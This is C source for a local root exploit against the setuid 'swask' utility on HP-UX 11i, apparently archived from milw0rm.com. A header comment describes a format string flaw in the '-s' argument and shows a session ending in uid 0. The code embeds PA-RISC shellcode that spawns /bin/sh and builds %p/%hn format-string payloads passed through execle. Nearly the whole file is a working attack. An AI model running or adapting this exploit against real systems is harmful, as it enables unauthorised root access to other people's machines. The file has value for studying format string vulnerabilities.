/* HP-UX swask format string local root exploit
* ============================================
* HP-UX 'swask' contains an exploitable format string
* vulnerability. The 'swask' utility is installed setuid
* root by default. Specifically the vulnerability is in
* the handling of the "-s" optional arguement which is
* passed to a format function as verbatim.
*
* Example.
* $ uname -a
* HP-UX hpux B.11.11 U 9000/785 2012383315 unlimited-user license
* $ id
* uid=102(user) gid=20(users)
* $ ./prdelka-vs-HPUX-swask
* [ HP-UX 11i 'swask' local root exploit
* ======= 01/20/06 10:19:49 EST BEGIN swask SESSION (non-interactive)
* <SNIP>
*
* ======= 01/20/06 10:19:50 EST END swask SESSION (non-interactive)
*
* $ id
* uid=0(root) gid=3(sys) euid=102(user) egid=20(users)
* $
*
* - prdelka
*/
char shellcode[]=
"\xeb\x5f\x1f\xfd\x0b\x39\x02\x99\xb7\x5a\x40\x22"
"\x0f\x40\x12\x0e\x20\x20\x08\x01\xe4\x20\xe0\x08"
"\xb4\x16\x70\x16""/bin/sh";
int main(){
char *d, *c, *b,*a,*envp;
int i,pid;
printf("[ HP-UX 11i 'swask' local root exploit\n");
switch(pid = fork()){
case -1:
perror("fork");
case 0:
a=(char*)malloc(2048);
memset(a,0,2048);
sprintf(a,"AAAAA%c%c%c%c",0x7a,0xec,0x44,0x38);
for(i=0;i<103;i++) strcat(a,"%p");
envp=0;
execle("/usr/sbin/swask","swask","-s",a,0,envp);
break;
default:
sleep(1);
b=(char*)malloc(2048);
memset(b,0,2048);
for(i=0;i<102;i++) strcat(b,"%p");
strcat(b,"%31799u%hn");
a=(char*)malloc(2048);
memset(a,0,2048);
d=a;
for(i=0;i<39;i++)strcat(a,"A");
d+=39;
for(i=0;i<strlen(shellcode);i++) *d++=shellcode[i];
envp=0;
execle("/usr/sbin/swask","swask","-s",a,"-s",b,0,envp);
}
}
// milw0rm.com [2006-10-24]